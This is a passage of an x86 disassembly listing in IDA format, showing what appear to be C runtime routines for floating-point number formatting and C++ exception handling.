		jnz	short loc_417E31
		dec	eax


loc_417E31:				; CODE XREF: sub_417DEE+40j
					; sub_417DEE+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_417E31

locret_417E3B:				; CODE XREF: sub_417DEE+21j
		retn
sub_417DEE	endp


; =============== S U B	R O U T	I N E =======================================



sub_417E3C	proc near		; DATA XREF: sub_414095+28o
					; .data:off_437AF8o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	ds:dbl_41F7A8
		fnstsw	ax
		sahf
		jb	short loc_417E51
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_417E51:				; CODE XREF: sub_417E3C+Fj
		xor	eax, eax
		retn
sub_417E3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E54	proc near		; CODE XREF: sub_418BBD+430p
					; DATA XREF: sub_414095+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_417E7D
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41BB57
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417E7D:				; CODE XREF: sub_417E54+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41BB84
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_417E54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E92	proc near		; CODE XREF: sub_41810F+17p
					; sub_418159+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_742290, 0
		push	ebx
		push	esi
		jz	short loc_417EC7
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_74228C
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_4181AA
		pop	ecx
		pop	ecx
		jmp	short loc_417EFF
; ---------------------------------------------------------------------------


loc_417EC7:				; CODE XREF: sub_417E92+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_41BC28
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_41BBB1
		add	esp, 14h


loc_417EFF:				; CODE XREF: sub_417E92+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_417F0B
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_417F0B:				; CODE XREF: sub_417E92+73j
		test	ebx, ebx
		jle	short loc_417F23
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_4379C0
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_417F23:				; CODE XREF: sub_417E92+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_742290, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_414FB0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_417F4A
		mov	byte ptr [ecx],	45h


loc_417F4A:				; CODE XREF: sub_417E92+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_417F8F
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_417F5E
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_417F5E:				; CODE XREF: sub_417E92+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_417F75
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_417F75:				; CODE XREF: sub_417E92+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_417F8C
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_417F8C:				; CODE XREF: sub_417E92+E7j
		add	[ecx+1], bl


loc_417F8F:				; CODE XREF: sub_417E92+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_417E92	endp


; =============== S U B	R O U T	I N E =======================================



sub_417F96	proc near		; CODE XREF: sub_418136+13p
					; sub_418159+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_742290, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_417FD1
		mov	eax, dword_742294
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_74228C
		cmp	eax, ebx
		jnz	short loc_418001
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_418001
; ---------------------------------------------------------------------------


loc_417FD1:				; CODE XREF: sub_417F96+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_41BC28
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_41BBB1
		add	esp, 14h


loc_418001:				; CODE XREF: sub_417F96+22j
					; sub_417F96+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_41800F
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_41800F:				; CODE XREF: sub_417F96+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_418026
		push	1
		push	edi
		call	sub_4181AA
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_418028
; ---------------------------------------------------------------------------


loc_418026:				; CODE XREF: sub_417F96+7Ej
		add	edi, eax


loc_418028:				; CODE XREF: sub_417F96+8Ej
		test	ebx, ebx
		jle	short loc_41806D
		push	1
		push	edi
		call	sub_4181AA
		mov	al, byte_4379C0
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_41806D
		cmp	byte_742290, 0
		jz	short loc_418052
		neg	esi
		jmp	short loc_418058
; ---------------------------------------------------------------------------


loc_418052:				; CODE XREF: sub_417F96+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_41805A


loc_418058:				; CODE XREF: sub_417F96+BAj
		mov	ebx, esi


loc_41805A:				; CODE XREF: sub_417F96+C0j
		push	ebx
		push	edi
		call	sub_4181AA
		push	ebx
		push	30h
		push	edi
		call	sub_413890
		add	esp, 14h


loc_41806D:				; CODE XREF: sub_417F96+94j
					; sub_417F96+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_417F96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418074	proc near		; CODE XREF: sub_418159+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_41BC28
		mov	dword_74228C, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_742294, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_41BBB1
		mov	eax, dword_74228C
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_742294, ecx
		setl	cl
		mov	byte_742298, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_742294, eax
		jl	short loc_4180FA
		cmp	eax, ebx
		jge	short loc_4180FA
		test	cl, cl
		jz	short loc_4180EB


loc_4180E1:				; CODE XREF: sub_418074+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_4180E1
		and	[esi-2], al


loc_4180EB:				; CODE XREF: sub_418074+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_418136
		add	esp, 0Ch
		jmp	short loc_41810A
; ---------------------------------------------------------------------------


loc_4180FA:				; CODE XREF: sub_418074+63j
					; sub_418074+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41810F
		add	esp, 10h


loc_41810A:				; CODE XREF: sub_418074+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418074	endp


; =============== S U B	R O U T	I N E =======================================



sub_41810F	proc near		; CODE XREF: sub_418074+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_742290, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_417E92
		and	byte_742290, 0
		add	esp, 10h
		retn
sub_41810F	endp


; =============== S U B	R O U T	I N E =======================================



sub_418136	proc near		; CODE XREF: sub_418074+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_742290, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_417F96
		and	byte_742290, 0
		add	esp, 0Ch
		retn
sub_418136	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418159	proc near		; CODE XREF: sub_416065+3AAp
					; DATA XREF: sub_414095o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_418194
		cmp	[ebp+arg_8], 45h
		jz	short loc_418194
		cmp	[ebp+arg_8], 66h
		jnz	short loc_418181
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417F96
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418181:				; CODE XREF: sub_418159+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_418074
		jmp	short loc_4181A5
; ---------------------------------------------------------------------------


loc_418194:				; CODE XREF: sub_418159+7j
					; sub_418159+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417E92


loc_4181A5:				; CODE XREF: sub_418159+39j
		add	esp, 10h
		pop	ebp
		retn
sub_418159	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181AA	proc near		; CODE XREF: sub_417E92+2Cp
					; sub_417F96+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_4181CD
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_413E90
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_4145D0
		add	esp, 10h
		pop	esi


loc_4181CD:				; CODE XREF: sub_4181AA+7j
		pop	edi
		retn
sub_4181AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4181CF	proc near		; CODE XREF: .text:00414278p
					; sub_4142E1+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_4181E5
		call	sub_418A72


loc_4181E5:				; CODE XREF: sub_4181CF+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_41820D
		cmp	dword ptr [esi+4], 0
		jz	short loc_418263
		cmp	[ebp+arg_14], 0
		jnz	short loc_418263
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_418516
		add	esp, 10h
		jmp	short loc_418263
; ---------------------------------------------------------------------------


loc_41820D:				; CODE XREF: sub_4181CF+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_418263
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_418247
		cmp	[eax+14h], edi
		jbe	short loc_418247
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_418247
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_418266
; ---------------------------------------------------------------------------


loc_418247:				; CODE XREF: sub_4181CF+4Aj
					; sub_4181CF+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_41826A
		add	esp, 20h


loc_418263:				; CODE XREF: sub_4181CF+23j
					; sub_4181CF+29j ...
		push	1
		pop	eax


loc_418266:				; CODE XREF: sub_4181CF+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4181CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41826A	proc near		; CODE XREF: sub_4181CF+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_41828A
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_41828F


loc_41828A:				; CODE XREF: sub_41826A+16j
		call	sub_418A72


loc_41828F:				; CODE XREF: sub_41826A+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_4183E6
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_418303
		cmp	[esi+14h], edi
		jnz	short loc_418303
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_418303
		mov	esi, dword_74229C
		test	esi, esi
		jz	loc_4183E1
		mov	eax, dword_7422A0
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_41BDAF
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4182E5
		call	sub_418A72


loc_4182E5:				; CODE XREF: sub_41826A+74j
		cmp	[esi], ebx
		jnz	loc_4183E6
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_418303
		cmp	[esi+14h], edi
		jnz	short loc_418303
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_418303
		call	sub_418A72


loc_418303:				; CODE XREF: sub_41826A+41j
					; sub_41826A+46j ...
		cmp	[esi], ebx
		jnz	loc_4183E6
		cmp	dword ptr [esi+10h], 3
		jnz	loc_4183E6
		cmp	[esi+14h], edi
		jnz	loc_4183E6
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41442F
		add	esp, 14h
		mov	ebx, eax


loc_41833A:				; CODE XREF: sub_41826A+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_4183D1
		cmp	[ebx], edi
		jg	short loc_4183C6
		cmp	edi, [ebx+4]
		jg	short loc_4183C6
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_4183C3


loc_41835F:				; CODE XREF: sub_41826A+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_418390


loc_418371:				; CODE XREF: sub_41826A+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_4184B9
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41839F
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_418371


loc_418390:				; CODE XREF: sub_41826A+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_41835F
		jmp	short loc_4183C3
; ---------------------------------------------------------------------------


loc_41839F:				; CODE XREF: sub_41826A+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4185CA
		add	esp, 2Ch


loc_4183C3:				; CODE XREF: sub_41826A+F3j
					; sub_41826A+133j
		mov	edi, [ebp+var_10]


loc_4183C6:				; CODE XREF: sub_41826A+DEj
					; sub_41826A+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_41833A
; ---------------------------------------------------------------------------


loc_4183D1:				; CODE XREF: sub_41826A+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_4183E1
		push	1
		push	esi
		call	sub_41893F
		pop	ecx
		pop	ecx


loc_4183E1:				; CODE XREF: sub_41826A+56j
					; sub_41826A+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4183E6:				; CODE XREF: sub_41826A+37j
					; sub_41826A+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_41840C
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_418411
		add	esp, 20h
		jmp	short loc_4183E1
; ---------------------------------------------------------------------------


loc_41840C:				; CODE XREF: sub_41826A+180j
		jmp	sub_418A1C
sub_41826A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418411	proc near		; CODE XREF: sub_41826A+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_7422A4, 0
		push	esi
		push	edi
		jz	short loc_418442
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_414306
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4184B5


loc_418442:				; CODE XREF: sub_418411+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41442F
		add	esp, 14h
		mov	esi, eax


loc_41845E:				; CODE XREF: sub_418411+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_4184B5
		cmp	edi, [esi]
		jl	short loc_4184AD
		cmp	edi, [esi+4]
		jg	short loc_4184AD
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_418487
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_4184AD


loc_418487:				; CODE XREF: sub_418411+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4185CA
		add	esp, 2Ch


loc_4184AD:				; CODE XREF: sub_418411+57j
					; sub_418411+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_41845E
; ---------------------------------------------------------------------------


loc_4184B5:				; CODE XREF: sub_418411+2Fj
					; sub_418411+53j
		pop	edi
		pop	esi
		leave
		retn
sub_418411	endp


; =============== S U B	R O U T	I N E =======================================



sub_4184B9	proc near		; CODE XREF: sub_41826A+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_418510
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_418510
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_4184EA
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41850C


loc_4184EA:				; CODE XREF: sub_4184B9+1Fj
		test	byte ptr [esi],	2
		jz	short loc_4184F4
		test	byte ptr [edi],	8
		jz	short loc_41850C


loc_4184F4:				; CODE XREF: sub_4184B9+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_418503
		test	byte ptr [edi],	1
		jz	short loc_41850C


loc_418503:				; CODE XREF: sub_4184B9+43j
		test	al, 2
		jz	short loc_418510
		test	byte ptr [edi],	2
		jnz	short loc_418510


loc_41850C:				; CODE XREF: sub_4184B9+2Fj
					; sub_4184B9+39j ...
		xor	eax, eax
		jmp	short loc_418513
; ---------------------------------------------------------------------------


loc_418510:				; CODE XREF: sub_4184B9+Bj
					; sub_4184B9+14j ...
		push	1
		pop	eax


loc_418513:				; CODE XREF: sub_4184B9+55j
		pop	edi
		pop	esi
		retn
sub_4184B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418516	proc near		; CODE XREF: sub_4181CF+34p
					; sub_4185CA+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41F7F0
		push	offset sub_41B124
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_418548:				; CODE XREF: sub_418516+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4185A2
		cmp	esi, 0FFFFFFFFh
		jle	short loc_418557
		cmp	esi, [edi+4]
		jl	short loc_41855C


loc_418557:				; CODE XREF: sub_418516+3Aj
		call	sub_418A72


loc_41855C:				; CODE XREF: sub_418516+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_418577
		push	103h
		push	ebx
		push	eax
		call	sub_4189D0


loc_418577:				; CODE XREF: sub_418516+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_418597
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4185B4
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_418597:				; CODE XREF: sub_418516+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_418548
; ---------------------------------------------------------------------------


loc_4185A2:				; CODE XREF: sub_418516+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418516	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185B4	proc near		; CODE XREF: sub_418516+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_4185C5
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4185C5:				; CODE XREF: sub_4185B4+Cj
		jmp	sub_418A1C
sub_4185B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185CA	proc near		; CODE XREF: sub_41826A+151p
					; sub_418411+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_4185EC
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_41877B
		add	esp, 10h


loc_4185EC:				; CODE XREF: sub_4185CA+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_4185F8
		push	edi
		jmp	short loc_4185FB
; ---------------------------------------------------------------------------


loc_4185F8:				; CODE XREF: sub_4185CA+29j
		push	[ebp+arg_24]


loc_4185FB:				; CODE XREF: sub_4185CA+2Cj
		call	sub_414208
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_418516
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_418645
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_418640
		push	edi
		push	eax
		call	sub_4141C6


loc_418640:				; CODE XREF: sub_4185CA+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4185CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418645	proc near		; CODE XREF: sub_4185CA+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41F800
		push	offset sub_41B124
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
